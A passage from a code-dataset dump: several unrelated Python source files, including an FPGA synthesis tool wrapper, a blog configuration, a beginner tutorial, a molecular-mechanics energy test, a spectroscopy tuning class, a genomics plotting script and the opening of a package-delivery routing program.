'ERROR_' + archiveName)\n raise\n elif self.mode == 'manual':\n try:\n # Run the flow\n self.ise_manual_flow(\n projectFilePath,\n fpga_part,\n entity,\n generics,\n synthesisDirectory,\n reportDirectory,\n exportDirectory\n )\n except:\n # Archive the outputs\n log.error(\n 'Synthesis error, storing output in error directory...'\n )\n self.storeOutputs(workingDirectory, 'ERROR_' + archiveName)\n raise\n else:\n raise exceptions.SynthesisException(\n 'Invalid flow type: ' + self.mode\n )\n # Run bitgen\n self.ise_promgen(\n entity + '.bit',\n entity + '.bin',\n synthesisDirectory\n )\n # Check the report\n reporter_fn = self.project.get_reporter()\n try:\n if reporter_fn is not None:\n reporter_fn(synthesisDirectory)\n except:\n log.error(\n 'The post-synthesis reporter script caused an error:\\n' +\n traceback.format_exc()\n )\n # Archive the outputs\n log.info('Synthesis completed, saving output to archive...')\n self.storeOutputs(workingDirectory, archiveName)\n log.info('...done')\n\n @synthesiser.throws_synthesis_exception\n def ise_webtalk_off(self):\n \"\"\"\n Call the *xwebtalk* binary with the *-user off* switch to disable\n WebTalk\n \"\"\"\n Ise._call(\n self.xwebtalk,\n ['-user', 'off'],\n cwd=self.project.get_synthesis_directory(),\n quiet=False,\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_promgen(self, fin, fout, working_directory):\n \"\"\"\n Call the *promgen* binary, which accepts the following arguments:\n\n Usage: promgen [-b] [-spi] [-p mcs|exo|tek|hex|bin|ieee1532|ufp] [-o\n {}] [-s {}] [-x \n {}] [-c []] [-l] [-w] [-bpi_dc serial|parallel]\n [-intstyle ise|xflow|silent] [-t ] [-z\n []] [-i ] [-data_width 8|16|32]\n [-config_mode selectmap8|selectmap16|selectmap32] {-ver \n {}} {-u {}} {-d \n {}} {-n {}} {-bd [start ] [tag\n {}]} {-bm } {-data_file up|down \n {}} [-r ]\n\n * *fin* is passed to the ** input parameter\n * *fout* is passed to the *-o* input parameter\n * *workingDirectory* is the working directory where the tool is invoked\n \"\"\"\n # Get additional tool arguments for this flow stage\n args = self.project.get_tool_arguments(self.name, 'promgen')\n args = shlex.split(['', args][args is not None])\n args += ['-o', fout, '-u', '0', fin]\n\n Ise._call(self.promgen, args, cwd=working_directory, quiet=False)\n\n @synthesiser.throws_synthesis_exception\n def ise_xst(self, part, entity, generics, working_directory):\n \"\"\"\n Generate an XST settings file and call the *XST* binary\n \"\"\"\n # Get additional tool arguments for this flow stage\n xstargs = self.project.get_tool_arguments(self.name, 'xst')\n # Format the args as XST expects\n xstargs = re.sub(' -', '\\n-', xstargs)\n # Write XST file\n xst_scr = (\n 'run\\n' +\n '-ifn %(entity)s.prj\\n' +\n '-ofn %(entity)s.ngc\\n' +\n '-ofmt NGC\\n' +\n '-p %(part)s\\n' +\n '-top %(entity)s\\n' +\n '-generics %(synthesis_generics)s\\n' +\n xstargs + '\\n'\n )\n with open(os.path.join(working_directory, entity + '.xst'), 'w') as f:\n f.write(\n xst_scr % dict(\n entity=entity,\n part=part,\n synthesis_generics=generics,\n )\n )\n\n args = ['-ifn', entity + '.xst']\n args += ['-ofn', entity + '.log']\n Ise._call(\n self.xst,\n args,\n cwd=working_directory,\n quiet=False\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_map(self, part, entity, working_directory):\n \"\"\"\n Call the *MAP* binary, which accepts the following arguments:\n\n map [-h] [-p partname] (infile[.ngd]) [-o (outfile[.ncd])]\n http://www.xilinx.com/support/documentation/sw_manuals/xilinx14_1/devref.pdf\n\n * *part* is passed to the *-p* input parameter\n * *entity* is used to generate output file names\n * *workingDirectory* is the working directory where the tool is invoked\n \"\"\"\n # Get additional tool arguments for this flow stage\n args = self.project.get_tool_arguments(self.name, 'map')\n args = shlex.split(['', args][args is not None])\n # Part name\n args = ['-p', part]\n # Output file\n args += ['-o', entity + '_map.ncd']\n args += [entity + '.ngd']\n # PCF Output name\n args += [entity + '.pcf']\n\n Ise._call(\n self.map,\n args,\n cwd=working_directory,\n quiet=False\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_par(self, entity, working_directory):\n \"\"\"\n Call the *PAR* binary, which accepts the following arguments:\n\n par [-ol std|high] [-pl std|high] [-rl std|high] [-xe n|c] [-mt\n on|off|1| 2|3|4] [-t ] [-p] [-k]\n [-r] [-w] [-smartguide ] [-x] [-nopad] [-power\n on|off|xe] [-act ivityfile ]\n [-ntd] [-intstyle ise|xflow|silent|pa] [-ise ]\n [-filter < filter_file[.filter]>] \n\n []\n\n * *entity* is used to generate output file names\n * *workingDirectory* is the working directory where the tool is invoked\n \"\"\"\n # Get additional tool arguments for this flow stage\n args = self.project.get_tool_arguments(self.name, 'par')\n args = shlex.split(['', args][args is not None])\n # Infile\n args = [entity + '_map.ncd']\n # Output file\n args += [entity + '.ncd']\n # Physical Constraints File (auto generated)\n args += [entity + '.pcf']\n\n Ise._call(\n self.par,\n args,\n cwd=working_directory,\n quiet=False\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_ngdbuild(self, part, entity, working_directory):\n \"\"\"\n Call the *NGDBUILD* binary, which accepts the following arguments:\n\n Usage: ngdbuild [-p ] {-sd } {-l } [-ur\n ] [-dd ] [-r] [-a] [-u] [-nt\n timestamp|on|off] [-uc ] [-aul] [-aut] [-bm\n ] [-i] [-intstyle ise|xflow|silent] [-quiet]\n [-verbose] [-insert_keep_hierarchy] [-filter ]\n []\n\n * *entity* is used to generate input and output file names\n * *-sd* is set to *workingDirectory*\n * *-p* is set to *part*\n * *workingDirectory* is the working directory where the tool is invoked\n \"\"\"\n # Get additional tool arguments for this flow stage\n args = self.project.get_tool_arguments(self.name, 'ngdbuild')\n args = shlex.split(['', args][args is not None])\n # Constraints\n args = ['-uc', entity + '.ucf']\n # Search directory\n args += ['-sd', working_directory]\n # Part name\n args += ['-p', part]\n # Input design file\n args += [entity + '.ngc']\n # Output NGD file\n args += [entity + '.ngd']\n\n Ise._call(\n self.ngdbuild,\n args,\n cwd=working_directory,\n quiet=False\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_bitgen(self, part, entity, working_directory):\n \"\"\"\n Call the *BITGEN* binary, which accepts the following arguments:\n\n Usage: bitgen [-d] [-j] [-b] [-w] [-l] [-m] [-t] [-n] [-u] [-a] [-r\n ] [-intstyle ise|xflow|silent|pa] [-ise\n ] {-bd [tag ]} {-g\n } [-filter ] \n [] []\n\n * *entity* is used to generate input and output file names\n * *workingDirectory* is the working directory where the tool is invoked\n \"\"\"\n # Get additional tool arguments for this flow stage\n args = self.project.get_tool_arguments(self.name, 'bitgen')\n args = shlex.split(['', args][args is not None])\n # Input file\n args = [entity + '.ncd']\n # Output file\n args += [entity + '.bit']\n\n Ise._call(\n self.bitgen,\n args,\n cwd=working_directory,\n quiet=False\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_xflow(\n self,\n projectFilePath,\n part,\n entity,\n generics,\n workingDirectory,\n reportDirectory,\n exportDirectory\n ):\n \"\"\"\n\n Call the *XFLOW* binary, which accepts the following arguments:\n\n xflow [-p partname] [flow type] [options file[.opt]] [xflow options]\n design_name\n\n XFLOW Flow Types:\n Create a bitstream for FPGA device configuration using a routed\n design.\n -config option_file\n\n Create a file that can be used for formal verification of an FPGA\n design.\n -ecn option_file\n\n Incorporate logic from the design into physical macrocell locations\n in a CPLD\n -fit option_file\n\n Generate a file that can be used for functional simulation of an\n FPGA or CPLD design\n -fsim option_file\n\n Implement the design and output a routed NCD file\n -implement option_file[fast_runtime.opt, balanced.opt,\n high_effort.opt]\n\n Create a file that can be used to perform static timing analysis\n of an FPGA design\n -sta option_file\n\n Synthesise the design for implementation in an FPGA, for fitting\n in a CPLD or for\n compiling for functional simulation.\n -syth option_file[xst_vhdl.opt/xst_verilog.opt/xst_mixed.opt]\n\n Generate a file that can be used for timing simulation of an FPGA\n or CPLD design.\n -tsim option_file\n \"\"\"\n # Additional arguments are not supported for XFLOW, the XST flow should\n # be used if more control of the stages is required.\n if len(self.project.get_tool_arguments(self.name, 'xflow')) > 0:\n log.warning(\n 'The ISE wrapper does not allow additional arguments' +\n ' to be passed to XFLOW. Use the XST flow if fine control' +\n ' of the synthesis stages is required.'\n )\n # Write the auto-generated options file\n with open(os.path.join(workingDirectory, 'xst_custom.opt'), 'w') as f:\n f.write(XST_MIXED_OPT % dict(generics=generics))\n # Call the flow\n args = ['-p', part]\n args += ['-synth', 'xst_custom.opt']\n args += ['-implement', 'balanced.opt']\n args += ['-config', 'bitgen.opt']\n args += ['-wd', workingDirectory]\n args += ['-ed', exportDirectory]\n args += ['-rd', reportDirectory]\n args += [projectFilePath]\n\n Ise._call(\n self.xflow,\n args,\n cwd=workingDirectory,\n quiet=False\n )\n\n @synthesiser.throws_synthesis_exception\n def ise_manual_flow(\n self,\n projectFilePath,\n part,\n entity,\n generics,\n workingDirectory,\n reportDirectory,\n exportDirectory\n ):\n \"\"\"\n Execute the manual ISE tool flow in the following order:\n #. XST\n #. NGDBUILD\n #. MAP\n #. PAR\n #. BITGEN\n\n Refer to the individual documentation for these tools for more\n information.\n \"\"\"\n # XST > NGDBUILD > MAP > PAR > BitGen > PromGen\n self.ise_xst(part, entity, generics, workingDirectory)\n self.ise_ngdbuild(part, entity, workingDirectory)\n self.ise_map(part, entity, workingDirectory)\n self.ise_par(entity, workingDirectory)\n self.ise_bitgen(part, entity, workingDirectory)\n\n @synthesiser.throws_synthesis_exception\n def addConstraints(self, entity, synthesisDirectory):\n \"\"\"\n Load the user constraints file path from the Project instance and\n generate a UCF file in the supplied *synthesisDirectory* directory\n where the synthesis tools are invoked.\n \"\"\"\n # Add user constraints and other source files\n constraintsFiles = self.project.get_constraints()\n constraintsData = ''\n filesProcessed = []\n for fileObject in constraintsFiles:\n # Avoid duplicates\n if fileObject.path not in filesProcessed:\n if fileObject.flow == 'ise' or fileObject.flow is None:\n if fileObject.fileType == FileType.UCF:\n # Copy the UCF data into the string var\n with open(fileObject.path, 'r') as constraintsFile:\n constraintsData += constraintsFile.read()\n log.info(\n 'Added constraints file: ' + fileObject.path\n )\n filesProcessed.append(fileObject.path)\n # Write the string var to a single file if we have data\n if len(constraintsData) != 0:\n newPath = os.path.join(synthesisDirectory, entity + '.ucf')\n with open(newPath, 'w') as outFile:\n outFile.write(constraintsData)\n log.info('Wrote: ' + newPath)\n","sub_path":"chiptools/wrappers/synthesisers/ise.py","file_name":"ise.py","file_ext":"py","file_size_in_byte":24054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"153892234","text":"# ===============\r\n# Basic settings\r\n# ===============\r\nAUTHOR = 'xxxxxxxxxxxxxx'\r\nDEFAULT_LANG = 'en'\r\nDEFAULT_CATEGORY = 'blog'\r\nSITENAME = \"xxxxxxxxxxx\"\r\nSITEDESCRIPTION = 'xxxxxxxxxx'\r\nFFED_DOMAIN = 'http://www.xxxxxxxxxxxxx.org'\r\nSITEURL = 'http://www.xxxxxxxxxxxx.org'\r\nSITE_URL = SITEURL\r\nSTATIC_PATHS = ['images', ]\r\nTIMEZONE = 'America/El_Salvador'\r\n\r\n# =============\r\n# URL settings\r\n# =============\r\nPERMALINK_STRUCTURE = '{date:%Y}/{date:%m}/'\r\nARTICLE_URL = '%s{slug}/' % PERMALINK_STRUCTURE\r\nARTICLE_SAVE_AS = '%s{slug}/index.html' % PERMALINK_STRUCTURE\r\nARTICLE_LANG_URL = '%s{slug}-{lang}/' % PERMALINK_STRUCTURE\r\nARTICLE_LANG_SAVE_AS = '%s{slug}-{lang}/index.html' % PERMALINK_STRUCTURE\r\nARCHIVES_URL = 'archives/'\r\nARCHIVES_SAVE_AS = 'archives/index.html'\r\nPAGE_URL = '%spages/{slug}/' % PERMALINK_STRUCTURE\r\nPAGE_SAVE_AS = '%spages/{slug}/index.html' % PERMALINK_STRUCTURE\r\nPAGE_LANG_URL = '%spages/{slug}-{lang}/' % PERMALINK_STRUCTURE\r\nPAGE_LANG_SAVE_AS = '%spages/{slug}-{lang}/index.html' % PERMALINK_STRUCTURE\r\nCATEGORY_URL = 'category/{slug}/'\r\nCATEGORY_SAVE_AS = 'category/{slug}/index.html'\r\nAUTHOR_URL = 'author/{slug}/'\r\nAUTHOR_SAVE_AS = 'author/{slug}/index.html'\r\nTAG_URL = 'tag/{slug}/'\r\nTAG_SAVE_AS = 'tag/{slug}/index.html'\r\nTRANSLATION_FEED_ATOM = 'feeds/all-%s.atom.xml'\r\nOUTPUT_PATH = 'blog'\r\nPATH = 'source'\r\n\r\n# ===========\r\n# Pagination\r\n# ===========\r\nWITH_PAGINATION = True\r\nDEFAULT_PAGINATION = 10\r\n\r\n# =================\r\n# Ordering content\r\n# =================\r\nREVERSE_ARCHIVE_ORDER = True\r\n\r\n# =================\r\n# Theming\r\n# =================\r\nTHEME = 'notmyidea'\r\n\r\nDISQUS_SITENAME = 'xxxxxxxxx'\r\nFLATTR = True\r\nGITHUB_URL = 'xxxxxxxxxxxxx'\r\nGOOGLE_ANALYTICS = 'xxxxxxxxxxxxx'\r\nGOSQUARED_SITENAME = 'xxx-xxxxxx-x'\r\nMENUITEMS = (\r\n ('Archives', '{0}/archives/'.format(SITEURL)),\r\n)\r\nTWITTER_USERNAME = 'xxxxxxx'\r\nSOCIAL = (('twitter','http://twitter.com/xxxxxxxxx'),\r\n\t ('lastfm','http://lastfm.com/user/xxxxxxxxx'),\r\n ('github','http://github.com/xxxxxxxxx'),\r\n\t ('linkedin','http://linkedin.com/in/xxxxxxxx'),\r\n ('gittip','http://gittip.com/xxxxxxxxxxxx/'),)\r\n\r\nDATE_FORMATS = {\r\n\t'en': '%a, %d %b %Y',\r\n\t'es': '%a, %d %b %Y',\r\n}","sub_path":"source/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"221528646","text":"cars = ['adudi', 'bmw', 'subaru', 'toyota']\nfor car in cars:\n\tif car == 'bmw':\n\t\tprint(car.upper())\n\telse:\n\t\tprint(car.title())\n\n# python区分大小写\n# False\ncar = 'Audi'\nprint(car == 'audi')\n\n# 检测特定值是否包含在列表中使用`in`\nrequested_toppings = ['mushrooms', 'onions', 'pineapple']\nprint('mushrooms' in requested_toppings)\n\n# 布尔表达式\ngame_active = True\ncan_edit = False\n\n# 检测多中情形`if elif else`\n\nage = 12\nif age < 4:\n\tprint(\"$0\")\nelif age < 18:\n\tprint(\"$5\")\nelse:\n\tprint(\"$10\")\n\n# 检测列表是否为空,使用if语句时如果列表为空返回False,至少包含一个返回True\ntoopings = []\nif toopings:\n\tfor tooping in toppings:\n\t\tprint('true')\nelse:\n\tprint('false')\n","sub_path":"py/intro/3_if_statement/if_statement.py","file_name":"if_statement.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"436236453","text":"\nfrom Sire.Mol import *\nfrom Sire.MM import *\nfrom Sire.IO import *\nfrom Sire.Vol import *\nfrom Sire.Qt import *\nfrom Sire.Maths import *\nfrom Sire.Units import *\nfrom Sire.Base import *\n\ncoul_cutoff = 10 * angstrom\nlj_cutoff = 10 * angstrom\n\ndielectric = 78.0\n\nalpha = 0.5\nshift_delta = 2.0\ncoulomb_power = 1\n\ncombining_rules = \"geometric\"\n\n(waterbox, space) = Amber().readCrdTop(\"../io/waterbox.crd\", \"../io/waterbox.top\")\n\nswitchfunc = HarmonicSwitchingFunction(coul_cutoff, coul_cutoff,\n lj_cutoff, lj_cutoff)\n\noldff = InterSoftCLJFF(\"cljff\")\noldff.add(waterbox)\noldff.setSpace(space)\noldff.setSwitchingFunction(switchfunc)\noldff.setAlpha(alpha)\noldff.setShiftDelta(shift_delta)\noldff.setCoulombPower(coulomb_power)\noldff.setCombiningRules(combining_rules)\noldff.setUseReactionField(True)\noldff.setReactionFieldDielectric(dielectric)\n\nnewff = InterFF(\"cljff\")\ncljfunc = CLJSoftRFFunction()\ncljfunc.setDielectric(dielectric)\nnewff.setCLJFunction(cljfunc)\nnewff.add(waterbox)\nnewff.setProperty(\"space\",space)\nnewff.setProperty(\"switchingFunction\", switchfunc)\nnewff.setProperty(\"combiningRules\", wrap(combining_rules))\nnewff.setProperty(\"alpha\", wrap(alpha))\nnewff.setProperty(\"shiftDelta\", wrap(shift_delta))\nnewff.setProperty(\"coulombPower\", wrap(coulomb_power))\nnewff.enableParallelCalculation()\n\nnewff.energies()\noldff.energies()\n\nt = QElapsedTimer()\n\n\ndef assert_almost_equal( x, y, delta = 0.5 ):\n if abs(x-y) > delta:\n print(\"ERROR: %s is not equal to %s within a delta of %s\" % (x,y,delta))\n assert(False)\n\ndef assert_equal( x, y ):\n if not (x == y):\n print(\"ERROR: %s is not equal to %s\" % (x, y))\n assert(False)\n\ndef _compareEnergies(oldff, newff, verbose):\n t.start()\n nrgs = oldff.energies()\n oldns = t.nsecsElapsed()\n\n oldcnrg = oldff.energy(oldff.components().coulomb()).value()\n oldljnrg = oldff.energy(oldff.components().lj()).value()\n\n t.start()\n newff.energies()\n newns = t.nsecsElapsed()\n\n newcnrg = newff.energy(newff.components().coulomb()).value()\n newljnrg = newff.energy(newff.components().lj()).value()\n\n if verbose:\n print(\"OLD: %s %s %s : %s ms\" % (oldcnrg+oldljnrg, oldcnrg,\n oldljnrg, 0.000001*oldns))\n print(\"NEW: %s %s %s : %s ms\" % (newcnrg+newljnrg, newcnrg,\n newljnrg, 0.000001*newns))\n\n assert_almost_equal(oldcnrg, newcnrg, 0.5)\n assert_almost_equal(oldljnrg, newljnrg, 0.5)\n\ndef _calc_energies(verbose):\n for i in range(0,11):\n alpha = 0.1 * i\n\n print(\"\\nAlpha = %s\" % alpha)\n\n oldff.setAlpha(alpha)\n newff.setProperty(\"alpha\", wrap(alpha))\n\n _compareEnergies(oldff, newff, verbose)\n\ndef test_geo_vac(verbose = False):\n oldff.setSpace(Cartesian())\n newff.setProperty(\"space\", Cartesian())\n oldff.setCombiningRules(\"geometric\")\n newff.setProperty(\"combiningRules\", wrap(\"geometric\"))\n\n print(\"\\nGEOMETRIC - VACUUM\")\n _calc_energies(verbose)\n\ndef test_ari_vac(verbose = False):\n oldff.setSpace(Cartesian())\n newff.setProperty(\"space\", Cartesian())\n oldff.setCombiningRules(\"arithmetic\")\n newff.setProperty(\"combiningRules\", wrap(\"arithmetic\"))\n\n print(\"\\nARITHMETIC - VACUUM\")\n _calc_energies(verbose)\n\ndef test_geo_box(verbose = False):\n oldff.setSpace(space)\n newff.setProperty(\"space\", space)\n oldff.setCombiningRules(\"geometric\")\n newff.setProperty(\"combiningRules\", wrap(\"geometric\"))\n\n print(\"\\nGEOMETRIC - BOX\")\n _calc_energies(verbose)\n\ndef test_ari_box(verbose = False):\n oldff.setSpace(space)\n newff.setProperty(\"space\", space) \n oldff.setCombiningRules(\"arithmetic\")\n newff.setProperty(\"combiningRules\", wrap(\"arithmetic\"))\n \n print(\"\\nARITHMETIC - BOX\")\n _calc_energies(verbose)\n\nif __name__ == \"__main__\":\n test_geo_vac(True)\n test_ari_vac(True)\n test_geo_box(True)\n test_ari_box(True)\n\n","sub_path":"python/tests/SireMM/test_rf_soft.py","file_name":"test_rf_soft.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"277440910","text":"\"\"\"\nCOSET\n\"\"\"\n\n\n# --- import --------------------------------------------------------------------------------------\n\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\nimport copy\nimport collections\n\nimport numpy as np\n\nimport scipy\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nmatplotlib.rcParams['font.size'] = 14\n\nfrom .. import units as wt_units\nfrom .. import kit as wt_kit\nfrom .. import artists as wt_artists\n\ndebug = False\n\n\n# --- coset class ---------------------------------------------------------------------------------\n\n\nclass CoSet:\n\n def __add__(self, coset):\n # HOW THIS WORKS\n #\n # TODO: proper checks and warnings...\n # copy\n other_copy = coset.__copy__()\n self_copy = self.__copy__()\n # coerce other to own units\n other_copy.convert_control_units(self.control_units)\n other_copy.convert_offset_units(self.offset_units)\n # find new control points\n other_limits = other_copy.get_limits()\n self_limits = self_copy.get_limits()\n min_limit = max(other_limits[0], self_limits[0])\n max_limit = min(other_limits[1], self_limits[1])\n num_points = max(other_copy.control_points.size, self_copy.control_points.size)\n new_control_points = np.linspace(min_limit, max_limit, num_points)\n # coerce to new control points\n other_copy.map_control_points(new_control_points)\n self_copy.map_control_points(new_control_points)\n # add\n self_copy.offset_points += other_copy.offset_points\n return self_copy\n\n def __copy__(self):\n return copy.deepcopy(self)\n\n def __init__(self, control_name, control_units, control_points,\n offset_name, offset_units, offset_points, name='coset'):\n self.control_name = control_name\n self.control_units = control_units\n self.control_points = control_points\n self.offset_name = offset_name\n self.offset_units = offset_units\n self.offset_points = offset_points\n self.name = name\n self.sort()\n self.interpolate()\n\n def __repr__(self):\n # when you inspect the object\n outs = []\n outs.append('WrightTools.tuning.coset.CoSet object at ' + str(id(self)))\n outs.append(' name: ' + self.name)\n outs.append(' control: ' + self.control_name)\n outs.append(' offset: ' + self.offset_name)\n return '\\n'.join(outs)\n\n def coerce_offsets(self):\n \"\"\" Coerce the offsets to lie exactly along the interpolation positions.\n\n Can be thought of as 'smoothing' the coset.\n \"\"\"\n self.map_control_points(self.control_points, units='same')\n\n def convert_control_units(self, units):\n self.control_points = wt_units.converter(self.control_points, self.control_units, units)\n self.sort()\n self.control_units = units\n self.interpolate()\n\n def convert_offset_units(self, units):\n self.offset_points = wt_units.converter(self.offset_points, self.offset_units, units)\n self.offset_units = units\n self.interpolate()\n\n def copy(self):\n return self.__copy__()\n\n def get_limits(self, units='same'):\n \"\"\" Get the edges of the coset object.\n\n Parameters\n ----------\n units : str (optional)\n The units to return. Default is same.\n\n Returns\n -------\n list of floats\n [min, max] in given units\n \"\"\"\n if units == 'same':\n return [self.control_points.min(), self.control_points.max()]\n else:\n units_points = wt_units.converter(self.control_points, self.control_units, units)\n return [units_points.min(), units_points.max()]\n\n def get_offset(self, control_position, input_units='same',\n output_units='same'):\n # get control position in own units\n if not input_units == 'same':\n control_position = wt_units.converter(\n control_position, self.control_units, input_units)\n # get offset in own units using spline\n offset = self.spline(control_position)\n # convert offset to output units\n if not output_units == 'same':\n offset = wt_units.converter(offset, self.offset_units, output_units)\n # finish\n return offset\n\n def interpolate(self):\n self.spline = scipy.interpolate.InterpolatedUnivariateSpline(\n self.control_points, self.offset_points)\n\n def map_control_points(self, points, units='same'):\n \"\"\" Map the offset points onto new control points using interpolation.\n\n Parameters\n ----------\n points : int or array\n The number of new points (between current limits) or the new points\n themselves.\n units : str (optional.)\n The input units if given as array. Default is same. Units of coset\n object are not changed.\n \"\"\"\n # get new points in input units\n if isinstance(points, int):\n limits = self.get_limits(self.control_units)\n new_points = np.linspace(limits[0], limits[1], points)\n else:\n new_points = points\n # convert new points to local units\n if units == 'same':\n units = self.control_units\n new_points = sorted(wt_units.converter(new_points, units, self.control_units))\n new_offsets = self.get_offset(new_points)\n # finish\n self.control_points = new_points\n self.offset_points = new_offsets\n\n def plot(self, autosave=False, save_path=''):\n fig, gs = wt_artists.create_figure(cols=[1])\n ax = plt.subplot(gs[0])\n xi = self.control_points\n yi = self.offset_points\n ax.plot(xi, yi, c='k', lw=2)\n ax.scatter(xi, yi, c='k')\n ax.grid()\n xlabel = self.control_name + ' (' + self.control_units + ')'\n ax.set_xlabel(xlabel, fontsize=18)\n ylabel = self.offset_name + ' (' + self.offset_units + ')'\n ax.set_ylabel(ylabel, fontsize=18)\n wt_artists._title(fig, self.name)\n if autosave:\n plt.savefig(save_path, dpi=300, transparent=True, pad_inches=1)\n plt.close(fig)\n\n def save(self, save_directory=None, plot=True, verbose=True):\n if save_directory is None:\n save_directory = os.getcwd()\n time_stamp = wt_kit.TimeStamp()\n file_name = ' - '.join([self.name, time_stamp.path]) + '.coset'\n file_path = os.path.join(save_directory, file_name)\n headers = collections.OrderedDict()\n headers['control'] = self.control_name\n headers['control units'] = self.control_units\n headers['offset'] = self.offset_name\n headers['offset units'] = self.offset_units\n file_path = wt_kit.write_headers(file_path, headers)\n X = np.vstack([self.control_points, self.offset_points]).T\n with open(file_path, 'ab') as f:\n np.savetxt(f, X, fmt=str('%8.6f'), delimiter='\\t')\n if plot:\n image_path = file_path.replace('.coset', '.png')\n self.plot(autosave=True, save_path=image_path)\n if verbose:\n print('coset saved at {}'.format(file_path))\n\n def sort(self):\n \"\"\" Control points must be ascending. \"\"\"\n idxs = np.argsort(self.control_points)\n self.control_points = self.control_points[idxs]\n self.offset_points = self.offset_points[idxs]\n\n\n# --- coset load method ---------------------------------------------------------------------------\n\n\ndef from_file(path):\n # get raw information from file\n headers = wt_kit.read_headers(path)\n arr = np.genfromtxt(path).T\n name = os.path.basename(path).split(' - ')[0]\n # construct coset object\n control_name = headers['control']\n control_units = headers['control units']\n control_points = arr[0]\n offset_name = headers['offset']\n offset_units = headers['offset units']\n offset_points = arr[1]\n coset = CoSet(control_name, control_units, control_points, offset_name,\n offset_units, offset_points, name=name)\n # finish\n return coset\n","sub_path":"WrightTools/tuning/coset.py","file_name":"coset.py","file_ext":"py","file_size_in_byte":8200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"313280923","text":"import os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\nimport config\nfrom utils import parallel_utils, close_pair_utils\n\nfontsize = 6\nmpl.rcParams['font.size'] = fontsize\nmpl.rcParams['lines.linewidth'] = 1.0\nmpl.rcParams['legend.frameon'] = False\nmpl.rcParams['legend.fontsize'] = 'small'\n\ndh = parallel_utils.DataHoarder('Bacteroides_vulgatus_57955', mode='QP', allowed_variants=['4D'])\n\n# getting the pairs\nclonal_frac_dir = os.path.join(config.analysis_directory, 'pairwise_clonal_fraction',\n 'between_hosts', 'Bacteroides_vulgatus_57955.csv')\nclonal_frac_mat = np.loadtxt(clonal_frac_dir, delimiter=',')\nsingle_sub_idxs = dh.single_subject_samples\nclonal_frac_mat = clonal_frac_mat[single_sub_idxs, :][:, single_sub_idxs]\n\nfirsts, seconds = np.nonzero(clonal_frac_mat > config.clonal_fraction_cutoff)\nclose_pairs = zip(single_sub_idxs[firsts[firsts < seconds]], single_sub_idxs[seconds[firsts < seconds]])\n\nfirsts, seconds = np.nonzero((clonal_frac_mat > config.typical_clonal_fraction_cutoff)\n & (clonal_frac_mat < config.clonal_fraction_cutoff))\nintermediate_pairs = zip(single_sub_idxs[firsts[firsts < seconds]], single_sub_idxs[seconds[firsts < seconds]])\n\n\ndef process_pairs(pairs, block_size=500, clade_div_cutoff=0.03, clonal_block_cutoff=3):\n between_counts = []\n within_counts = []\n for pair in pairs:\n snp_vec, _ = dh.get_snp_vector(pair)\n blocks = close_pair_utils.to_block(snp_vec, block_size)\n between_count = np.sum(blocks > clade_div_cutoff * block_size)\n within_count = np.sum((blocks <= clade_div_cutoff * block_size) & (blocks > clonal_block_cutoff))\n between_counts.append(between_count)\n within_counts.append(within_count)\n return np.array(between_counts), np.array(within_counts)\n\n\nfig, ax = plt.subplots(figsize=(4, 3))\nblock_size = 500\ntotal_blocks = float(np.sum(dh.general_mask) // block_size)\nprint(\"Computing fractions for close pairs\")\nbetween_counts, within_counts = process_pairs(close_pairs, block_size=block_size)\n# np.savetxt('close_extrapolation.txt', np.vstack([between_counts, within_counts]))\n# adding some noise to show density\nax.scatter((within_counts + 0.2*np.random.normal(size=len(within_counts))) / total_blocks,\n (between_counts + 0.2*np.random.normal(size=len(within_counts))) / total_blocks, s=2, color='tab:green',\n label='close pairs')\n\nprint(\"Computing fractions for intermediate pairs\")\nbetween_counts, within_counts = process_pairs(intermediate_pairs)\n# np.savetxt('intermediate_extrapolation.txt', np.vstack([between_counts, within_counts]))\nax.scatter((within_counts + 0.2*np.random.normal(size=len(within_counts))) / total_blocks,\n (between_counts + 0.2*np.random.normal(size=len(within_counts))) / total_blocks, s=2, color='tab:blue',\n label='intermediate pairs')\n\nax.legend()\nax.set_xlabel(r'$f_{r}$, within')\nax.set_ylabel(r'$f_{r}$, between')\nax.set_xlim(xmin=-0.01)\nax.set_ylim(ymin=-0.002)\nfig.savefig(os.path.join(config.figure_directory, 'B_vulgatus_extrapolation.pdf'), bbox_inches='tight')\n","sub_path":"plotting_for_publication/supp_plot_B_vulgatus_extrapolation.py","file_name":"supp_plot_B_vulgatus_extrapolation.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"524704654","text":"# Jayson Valderrama\r\n# ID: 001081738\r\n# Data Structures and Algorithms II C950\r\n\r\nfrom HashTable import HashTable\r\nfrom Package import Package\r\nfrom Location import Location\r\nfrom datetime import timedelta\r\nimport csv\r\n\r\n\r\nclass DeliverySystem:\r\n # An arbitrary reference number for the greedy algorithm's initial comparison of path lengths\r\n # Must be sufficiently large enough that no path the algorithm takes would come close to it\r\n LARGE_NUMBER = 99999\r\n\r\n def __init__(self):\r\n # O(n)\r\n # Loads table of distances into a hash table\r\n with open(\"WGUPS Location Table.csv\") as location_file:\r\n location_reader = csv.reader(location_file, delimiter=',')\r\n self.location_hash_table = HashTable(37)\r\n for row in location_reader:\r\n location = Location(*row)\r\n self.location_hash_table.insert((location.address, location.zip_), location)\r\n\r\n # O(n²)\r\n # Loads all pairs of locations and puts one of the two into a dictionary\r\n with open(\"WGUPS Distance Table.csv\") as distance_file:\r\n distance_reader = csv.reader(distance_file, delimiter=',')\r\n nodes = [distance for distance in distance_reader]\r\n self.dist_dict = {}\r\n for i, u 